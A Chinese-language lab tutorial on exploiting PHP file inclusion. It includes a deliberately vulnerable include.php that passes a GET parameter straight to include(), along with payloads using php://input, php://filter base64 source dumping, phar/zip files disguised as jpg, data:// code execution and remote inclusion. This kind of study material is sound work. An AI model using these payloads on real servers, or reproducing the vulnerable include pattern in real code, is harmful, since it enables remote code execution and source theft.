实验环境
1.已经配置好的WEB服务器
2.文件包含页面
include.php:
<html>
<head>
<title>文件包含</title>
</head>
<body>
<?php
phpinfo(); //一些伪协议的使用需要关注 allow_url_include 和 allow_url_fopen的状态
include($_GET['f']);
?>
</body>
</html>
3.伪协议利用
file伪协议,通过这个协议可以对系统中的文件进行包含,不过一定要是绝对路径
php伪协议,有两种类型 input 和 filter
input需要allow_url_include:On,在input中POST提交的数据都会被当作php代码处理
利用burpsuite抓包,然后把GET请求改为POST请求。
注意:把?f=php://input这个参数写回请求路径下,然后在下面写入POST数据
filter 不需要开启allow_url_fopen 或者 allow_url_include
filter://resource=文件路径(可以绝对或者相对)
filter://convert.base64-encode/resource=文件路径
#利用这个方法可以下载源码,对文件内容进行base64编码,就不会被解析
ZIP伪协议,利用这个伪协议可以执行包含到ZIP中的文件,不过这个协议我没有利用成功,就不放截图了
phar伪协议,通过这个伪协议,可以执行包含在文件中的文件
把一个php文件压缩成zip文件,然后把zip后缀改为jpg,然后利用这个协议去执行,当然不一定要这样做,直接传zip也是可以利用成功的
data伪协议,需要 allow_url_include:On allow_url_fopen:On,它可以直接执行语句中的代码
?f=data://text/plain,<?php phpinfo(); ?> //直接执行php代码
利用成功。
data伪协议的一些格式:
data://,<文本数据>
data://text/plain,<文本数据>
data://text/html,<html代码>
data://text/css,<CSS代码>
data://text/javascript,<js代码>
data://text/gif;base64,<base64编码的gif图片数据>
还有png,jpeg等格式的数据都是这个格式去写,改下后面就好了,如果要对数据进行base64编码,就在类型后面加上;base64,就好了
HTTP协议
需 要 allow_url_include:On allow_url_fopen:On ,这就是所谓的远程文件包含了
这个就不多说了,注意二次包含,加入你用目标服务器去包含一个远程服务器的php文件,那么这个php文件被远程服务器解析过,解析过后,目标服务器去包含这个文件,是没有任何东西的,会让包含失败